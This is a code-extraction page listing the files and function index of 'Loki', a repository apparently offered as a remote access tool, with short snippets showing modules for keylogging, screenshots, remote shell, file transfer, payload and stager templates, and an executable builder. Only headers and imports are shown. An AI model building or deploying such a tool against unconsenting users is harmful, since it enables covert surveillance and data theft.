  function getOffsetRectRelativeToArbitraryNode (line 2072) | function getOffsetRectRelativeToArbitraryNode(children, parent) {
  function getViewportOffsetRectRelativeToArtbitraryNode (line 2124) | function getViewportOffsetRectRelativeToArtbitraryNode(element) {
  function isFixed (line 2153) | function isFixed(element) {
  function getFixedPositionOffsetParent (line 2176) | function getFixedPositionOffsetParent(element) {
  function getBoundaries (line 2199) | function getBoundaries(popper, reference, padding, boundariesElement) {
  function getArea (line 2253) | function getArea(_ref) {
  function computeAutoPlacement (line 2269) | function computeAutoPlacement(placement, refRect, popper, reference, bou...
  function getReferenceOffsets (line 2330) | function getReferenceOffsets(state, popper, reference) {
  function getOuterSizes (line 2344) | function getOuterSizes(element) {
  function getOppositePlacement (line 2363) | function getOppositePlacement(placement) {
  function getPopperOffsets (line 2380) | function getPopperOffsets(popper, referenceOffsets, placement) {
  function find (line 2418) | function find(arr, check) {
  function findIndex (line 2437) | function findIndex(arr, prop, value) {
  function runModifiers (line 2462) | function runModifiers(modifiers, data, ends) {
  function update (line 2492) | function update() {
  function isModifierEnabled (line 2544) | function isModifierEnabled(modifiers, modifierName) {
  function getSupportedPropertyName (line 2559) | function getSupportedPropertyName(property) {
  function destroy (line 2578) | function destroy() {
  function getWindow (line 2608) | function getWindow(element) {
  function attachToScrollParents (line 2613) | function attachToScrollParents(scrollParent, event, callback, scrollPare...
  function setupEventListeners (line 2630) | function setupEventListeners(reference, options, state, updateBound) {
  function enableEventListeners (line 2650) | function enableEventListeners() {
  function removeEventListeners (line 2662) | function removeEventListeners(reference, state) {
  function disableEventListeners (line 2686) | function disableEventListeners() {
  function isNumeric (line 2700) | function isNumeric(n) {
  function setStyles (line 2712) | function setStyles(element, styles) {
  function setAttributes (line 2731) | function setAttributes(element, attributes) {
  function applyStyle (line 2751) | function applyStyle(data) {
  function applyStyleOnLoad (line 2780) | function applyStyleOnLoad(reference, popper, options, modifierOptions, s...
  function getRoundedOffsets (line 2817) | function getRoundedOffsets(data, shouldRound) {
  function computeStyle (line 2856) | function computeStyle(data, options) {
  function isModifierRequired (line 2957) | function isModifierRequired(modifiers, requestingName, requestedName) {
  function arrow (line 2982) | function arrow(data, options) {
  function getOppositeVariation (line 3064) | function getOppositeVariation(variation) {
  function clockwise (line 3119) | function clockwise(placement) {
  function flip (line 3140) | function flip(data, options) {
  function keepTogether (line 3237) | function keepTogether(data) {
  function toValue (line 3271) | function toValue(str, measurement, popperOffsets, referenceOffsets) {
  function parseOffset (line 3323) | function parseOffset(offset, popperOffsets, referenceOffsets, basePlacem...
  function offset (line 3399) | function offset(data, _ref) {
  function preventOverflow (line 3440) | function preventOverflow(data, options) {
  function shift (line 3511) | function shift(data) {
  function hide (line 3544) | function hide(data) {
  function inner (line 3582) | function inner(data) {
  function Popper (line 4049) | function Popper(reference, popper) {
  function Dropdown (line 4280) | function Dropdown(element, config) {
  function Modal (line 4791) | function Modal(element, config) {
  function allowedAttribute (line 5383) | function allowedAttribute(attr, allowedAttributeList) {
  function sanitizeHtml (line 5407) | function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {
  function Tooltip (line 5545) | function Tooltip(element, config) {
  function Popover (line 6228) | function Popover() {
  function ScrollSpy (line 6414) | function ScrollSpy(element, config) {
  function Tab (line 6708) | function Tab(element) {
  function Toast (line 6944) | function Toast(element, config) {

FILE: static/vendor/bootstrap-4.4.1-dist/js/bootstrap.js
  function _defineProperties (line 15) | function _defineProperties(target, props) {
  function _createClass (line 25) | function _createClass(Constructor, protoProps, staticProps) {
  function _defineProperty (line 31) | function _defineProperty(obj, key, value) {
  function ownKeys (line 46) | function ownKeys(object, enumerableOnly) {
  function _objectSpread2 (line 60) | function _objectSpread2(target) {
  function _inheritsLoose (line 80) | function _inheritsLoose(subClass, superClass) {
  function toType (line 102) | function toType(obj) {
  function getSpecialTransitionEndEvent (line 106) | function getSpecialTransitionEndEvent() {
  function transitionEndEmulator (line 120) | function transitionEndEmulator(duration) {
  function setTransitionEndSupport (line 135) | function setTransitionEndSupport() {
  function Alert (line 292) | function Alert(element) {
  function Button (line 462) | function Button(element) {
  function Carousel (line 713) | function Carousel(element, config) {
  function Collapse (line 1271) | function Collapse(element, config) {
  function Dropdown (line 1667) | function Dropdown(element, config) {
  function Modal (line 2178) | function Modal(element, config) {
  function allowedAttribute (line 2770) | function allowedAttribute(attr, allowedAttributeList) {
  function sanitizeHtml (line 2794) | function sanitizeHtml(unsafeHtml, whiteList, sanitizeFn) {
  function Tooltip (line 2932) | function Tooltip(element, config) {
  function Popover (line 3615) | function Popover() {
  function ScrollSpy (line 3801) | function ScrollSpy(element, config) {
  function Tab (line 4095) | function Tab(element) {
  function Toast (line 4331) | function Toast(element, config) {
Condensed preview — 61 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (838K chars).
[
  {
    "path": ".gitignore",
    "chars": 225,
    "preview": "# Generated samples\noutput/\n.bin/\n\n# Python cache\n__pycache__/\n\n# RSA key-pair\ncert/\n\n# VS Code\n.vscode\n\n# Database\ndata"
  },
  {
    "path": "CHANGELOG.md",
    "chars": 214,
    "preview": "# Changelog\n\nChanges for this project will be documented here\n\n## [0.1.1] - 2020-03-12\n\n### Changed\n\n-   UI\n-   Lighter "
  },
  {
    "path": "LICENSE",
    "chars": 1064,
    "preview": "MIT License\n\nCopyright (c) 2018 Mohamed\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof"
  },
  {
    "path": "README.md",
    "chars": 2325,
    "preview": "# Loki\r\n\r\nLoki is a simple **R**emote **A**ccess **T**ool.<br/>\r\nLoki uses **RSA-2048** with **AES-256** to keep your co"
  },
  {
    "path": "agent/bot/lib/__init__.py",
    "chars": 64,
    "preview": "# Date: 06/02/2018\n# Author: Pure-L0G1C\n# Description: __init__\n"
  },
  {
    "path": "agent/bot/lib/file.py",
    "chars": 676,
    "preview": "# Date: 08/31/2018\n# Author: Pure-L0G1C\n# Description: File manager\n\n\nclass File(object):\n\n    chunk_size = (64 << 10) -"
  },
  {
    "path": "agent/bot/lib/info.py",
    "chars": 2708,
    "preview": "# Date: 07/22/2018\n# Author: Pure-L0G1C\n# Description: Machine information\n\nimport socket\nfrom uuid import getnode\nfrom "
  },
  {
    "path": "agent/bot/lib/keylogger.py",
    "chars": 2289,
    "preview": "# Date: 09/30/2018\n# Author: Pure-L0G1C\n# Description: Keylogger\n\nfrom threading import Thread\nfrom pynput.keyboard impo"
  },
  {
    "path": "agent/bot/lib/pathfinder.py",
    "chars": 1028,
    "preview": "# Date: 08/31/2018\n# Author: Pure-L0G1C\n# Description: Finds a random path\n\nimport os\nfrom random import randint\nfrom ge"
  },
  {
    "path": "agent/bot/lib/screen.py",
    "chars": 333,
    "preview": "# Date: 08/13/2018\n# Author: Pure-L0G1C\n# Description: Screen shot\n\nfrom mss import mss\nfrom os import path, remove\n\nfil"
  },
  {
    "path": "agent/bot/lib/session.py",
    "chars": 1361,
    "preview": "# Date: 06/02/2018\n# Author: Pure-L0G1C\n# Description: Session\n\nimport json\nimport const\nimport socket\nfrom time import "
  },
  {
    "path": "agent/bot/lib/sftp.py",
    "chars": 3533,
    "preview": "# Date: 07/27/2018\n# Author: Pure-L0G1C\n# Description: Secure FTP\n\nimport os\nimport ssl\nimport socket\nfrom os import chd"
  },
  {
    "path": "agent/bot/lib/shell.py",
    "chars": 5991,
    "preview": "# Date: 06/04/2018\n# Author: Pure-L0G1C\n# Description: Communicate with server\n\nimport sys\nimport subprocess\nfrom os imp"
  },
  {
    "path": "agent/bot/lib/sscreenshare.py",
    "chars": 1945,
    "preview": "# Date: 10/03/2019\n# Author: Mohamed\n# Description: Secure Screenshare\n\nimport os\nimport ssl\nimport time\nimport socket\nf"
  },
  {
    "path": "agent/bot/lib/ssh.py",
    "chars": 4448,
    "preview": "# Date: 07/27/2018\n# Author: Pure-L0G1C\n# Description: Secure shell\n\nimport os\nimport ssl\nimport socket\nimport subproces"
  },
  {
    "path": "agent/bot/template_payload.py",
    "chars": 2109,
    "preview": "# Date: 06/04/2018\n# Author: Pure-L0G1C\n# Description: Bot\n\nimport sys\nimport ssl\nimport socket\nfrom time import sleep\nf"
  },
  {
    "path": "agent/bot/template_stager.py",
    "chars": 1499,
    "preview": "import subprocess\nimport ssl\nimport json\nimport socket\nimport time\nimport random\nimport os\n\nfrom lib import pathfinder\n\n"
  },
  {
    "path": "agent/builder.py",
    "chars": 4801,
    "preview": "# Date: 09/01/2018\n# Author: Pure-L0G1C\n# Description: Execute creator\n\nimport os\nimport sys\nimport zlib\nimport shlex\nim"
  },
  {
    "path": "agent/const.py",
    "chars": 85,
    "preview": "PAYLOAD_PATH = '.bin/.payload.exe'\nBLOCK_SIZE = 65535\n\nSTAGER_CODE = 0\nCONN_CODE = 1\n"
  },
  {
    "path": "agent/lib/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "agent/lib/args.py",
    "chars": 4215,
    "preview": "# Date: 08/24/2018\n# Author: Pure-L0G1C\n# Description: Arguments\n\nfrom os import path\nfrom re import match\nfrom argparse"
  },
  {
    "path": "agent/lib/file.py",
    "chars": 709,
    "preview": "# Date: 08/31/2018\n# Author: Pure-L0G1C\n# Description: File manager\n\n\nclass File(object):\n\n    chunk_size = (64 << 10) -"
  },
  {
    "path": "lib/__init__.py",
    "chars": 42,
    "preview": "# Date: 07/03/2018\r\n# Author: Pure-L0G1C\r\n"
  },
  {
    "path": "lib/const.py",
    "chars": 2181,
    "preview": "# Date: 08/13/2018\r\n# Author: Pure-L0G1C\r\n# Description: Config file\r\n\r\nimport os\r\n\r\n################\r\n#    READ ME   #\r"
  },
  {
    "path": "lib/database.py",
    "chars": 8262,
    "preview": "# Date: 07/02/2018\r\n# Author: Pure-L0G1C\r\n# Description: DBMS\r\n\r\nimport bcrypt\r\nimport sqlite3\r\nfrom . import const\r\nfro"
  },
  {
    "path": "lib/server/__init__.py",
    "chars": 42,
    "preview": "# Date: 07/20/2018\r\n# Author: Pure-L0G1C\r\n"
  },
  {
    "path": "lib/server/lib/__init__.py",
    "chars": 42,
    "preview": "# Date: 07/20/2018\r\n# Author: Pure-L0G1C\r\n"
  },
  {
    "path": "lib/server/lib/file.py",
    "chars": 702,
    "preview": "# Date: 08/31/2018\r\n# Author: Pure-L0G1C\r\n# Description: File manager\r\n\r\n\r\nclass File(object):\r\n\r\n    chunk_size = (64 <"
  },
  {
    "path": "lib/server/lib/interface.py",
    "chars": 15500,
    "preview": "# Date: 06/07/2018\r\n# Author: Pure-L0G1C\r\n# Description: Interface for the master\r\n\r\nfrom re import match\r\nfrom lib impo"
  },
  {
    "path": "lib/server/lib/session.py",
    "chars": 1019,
    "preview": "# Date: 06/02/2018\r\n# Author: Pure-L0G1C\r\n# Description: Session\r\n\r\nimport time\r\nimport json\r\nimport socket\r\n\r\n\r\nclass S"
  },
  {
    "path": "lib/server/lib/sftp.py",
    "chars": 6317,
    "preview": "# Date: 07/27/2018\r\n# Author: Pure-L0G1C\r\n# Description: Secure FTP\r\n\r\nimport os\r\nimport ssl\r\nimport socket\r\nfrom . file"
  },
  {
    "path": "lib/server/lib/shell.py",
    "chars": 1502,
    "preview": "# Date: 06/05/2018\r\n# Author: Pure-L0G1C\r\n# Description: Recv/Send to master\r\n\r\nimport sys\r\nimport time\r\nfrom queue impo"
  },
  {
    "path": "lib/server/lib/sscreenshare.py",
    "chars": 4415,
    "preview": "# Date: 10/03/2019\n# Author: Mohamed\n# Description: Secure Screenshare\n\nimport os\nimport ssl\nimport socket\nfrom time imp"
  },
  {
    "path": "lib/server/lib/ssh.py",
    "chars": 4056,
    "preview": "# Date: 07/27/2018\r\n# Author: Pure-L0G1C\r\n# Description: Secure shell\r\n\r\nimport os\r\nimport ssl\r\nimport socket\r\nfrom thre"
  },
  {
    "path": "lib/server/server.py",
    "chars": 6263,
    "preview": "# Date: 06/01/2018\r\n# Author: Pure-L0G1C\r\n# Description: Server\r\n\r\nimport ssl\r\nimport socket\r\nfrom os import path\r\nfrom "
  },
  {
    "path": "linter.sh",
    "chars": 249,
    "preview": "# flake8\necho -e \"[Begin flake8]\\n\"\nflake8 .\necho -e \"\\n[End flake8]\"\n\n# mypy\necho -e \"[Begin mypy]\\n\"\nmypy --ignore-mis"
  },
  {
    "path": "loki.py",
    "chars": 14562,
    "preview": "# Date: 07/02/2018\r\n# Author: Pure-L0G1C\r\n# Description: Web server\r\n\r\nimport re\r\nfrom os import urandom\r\nfrom lib impor"
  },
  {
    "path": "requirements.txt",
    "chars": 180,
    "preview": "mss==3.2.1\r\npynput==1.6.6\r\nFlask==2.1.0\r\nbcrypt==3.1.7\r\nrequests==2.22.0\r\nFlask-WTF==0.14.3\r\npyOpenSSL==22.0.0\r\nPyInstal"
  },
  {
    "path": "static/css/control.css",
    "chars": 924,
    "preview": "@import url('home.css');\r\n\r\n#cmd-line {\r\n    width: 90%;\r\n    height: 75%;\r\n    margin: 0 auto;\r\n    margin-top: 10px;\r\n"
  },
  {
    "path": "static/css/home.css",
    "chars": 3178,
    "preview": "@import url('main.css');\r\n\r\n.table-container {\r\n    padding-left: 1px !important;\r\n    height: 176px;\r\n    overflow-y: s"
  },
  {
    "path": "static/css/index.css",
    "chars": 863,
    "preview": "@import url('main.css');\r\n\r\n#logo {\r\n    color: #fff;\r\n    display: block;\r\n    margin-top: 10%;\r\n    font-size: 40px;\r\n"
  },
  {
    "path": "static/css/intel.css",
    "chars": 25,
    "preview": "@import url('home.css');\n"
  },
  {
    "path": "static/css/main.css",
    "chars": 2920,
    "preview": "@charset \"utf-8\";\r\n* {\r\n    padding: 0;\r\n    margin: 0;\r\n}\r\n\r\nhtml,\r\nbody {\r\n    height: 100%;\r\n    display: flex;\r\n    "
  },
  {
    "path": "static/css/settings.css",
    "chars": 193,
    "preview": "@import url('main.css');\r\n\r\n#account-update-container {\r\n    height: 404px;\r\n    background-color: var(--hd-color);\r\n}\r\n"
  },
  {
    "path": "static/js/command.js",
    "chars": 4683,
    "preview": "'use strict';\n\nconst commands = {\n    reconnect: { id: 2, help: 'Force the remote computer to reconnect', usage: 'reconn"
  },
  {
    "path": "static/js/console.js",
    "chars": 2543,
    "preview": "'use strict';\n\nconst UP_CODE = 38;\nconst DOWN_CODE = 40;\nconst ENTER_CODE = 13;\n\n$(document).ready(function () {\n    set"
  },
  {
    "path": "static/js/exception.js",
    "chars": 113,
    "preview": "'use strict';\n\nclass Exception {\n    static get NotImplemented() {\n        return 'NotImplementedError';\n    }\n}\n"
  },
  {
    "path": "static/js/home.js",
    "chars": 9289,
    "preview": "'use strict';\r\n\r\nconst botsFetchInterval = 10; // seconds\r\n\r\nlet isFetchingBots = false;\r\nlet isServerActive = false;\r\nl"
  },
  {
    "path": "static/js/index.js",
    "chars": 1277,
    "preview": "'use strict';\n\n$('#form').submit(e => {\n    e.preventDefault();\n\n    let username = $('#username').val();\n    let passwo"
  },
  {
    "path": "static/js/settings.js",
    "chars": 8277,
    "preview": "'use strict';\r\n\r\nconst MIN_USERNAME_LENGTH = 4;\r\nconst MAX_USERNAME_LENGTH = 16;\r\n\r\nconst MIN_PASSWORD_LENGTH = 12;\r\ncon"
  },
  {
    "path": "static/js/ssh.js",
    "chars": 1832,
    "preview": "'use strict';\n\nconst SshEnum = { help: 'menu' };\n\nclass SSH extends Terminal {\n    constructor() {\n        Terminal.isSS"
  },
  {
    "path": "static/js/terminal.js",
    "chars": 5361,
    "preview": "'use strict';\n\nconst MAX_OUTPUT_HISTORY_SIZE = 32;\nconst MAX_HISTORY_SIZE = 256;\nconst MAX_CHARS = 8192;\n\nclass Terminal"
  },
  {
    "path": "static/vendor/bootstrap-4.4.1-dist/css/bootstrap-grid.css",
    "chars": 67871,
    "preview": "/*!\n * Bootstrap Grid v4.4.1 (https://getbootstrap.com/)\n * Copyright 2011-2019 The Bootstrap Authors\n * Copyright 2011-"
  },
  {
    "path": "static/vendor/bootstrap-4.4.1-dist/css/bootstrap-reboot.css",
    "chars": 4793,
    "preview": "/*!\n * Bootstrap Reboot v4.4.1 (https://getbootstrap.com/)\n * Copyright 2011-2019 The Bootstrap Authors\n * Copyright 201"
  },
  {
    "path": "static/vendor/bootstrap-4.4.1-dist/css/bootstrap.css",
    "chars": 197170,
    "preview": "/*!\n * Bootstrap v4.4.1 (https://getbootstrap.com/)\n * Copyright 2011-2019 The Bootstrap Authors\n * Copyright 2011-2019 "
  },
  {
    "path": "static/vendor/bootstrap-4.4.1-dist/js/bootstrap.bundle.js",
    "chars": 227978,
    "preview": "/*!\n  * Bootstrap v4.4.1 (https://getbootstrap.com/)\n  * Copyright 2011-2019 The Bootstrap Authors (https://github.com/t"
  },
  {
    "path": "static/vendor/bootstrap-4.4.1-dist/js/bootstrap.js",
    "chars": 135079,
    "preview": "/*!\n  * Bootstrap v4.4.1 (https://getbootstrap.com/)\n  * Copyright 2011-2019 The Bootstrap Authors (https://github.com/t"
  },
  {
    "path": "templates/base.html",
    "chars": 3542,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n    <head>\r\n        <!-- Required meta tags -->\r\n        <meta charset=\"utf-8\" />\r\n  "
  },
  {
    "path": "templates/home.html",
    "chars": 4120,
    "preview": "{% extends \"base.html\" %} {% block links %}\r\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename="
  },
  {
    "path": "templates/index.html",
    "chars": 3029,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n    <head>\r\n        <!-- Required meta tags -->\r\n        <meta charset=\"utf-8\" />\r\n  "
  },
  {
    "path": "templates/settings.html",
    "chars": 4498,
    "preview": "{% extends \"base.html\" %} {% block links %}\r\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{{ url_for('static', filename="
  }
]

About this extraction

This page contains the full source code of the Bitwise-01/Loki GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 61 files (777.8 KB), approximately 216.4k tokens, and a symbol index with 468 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!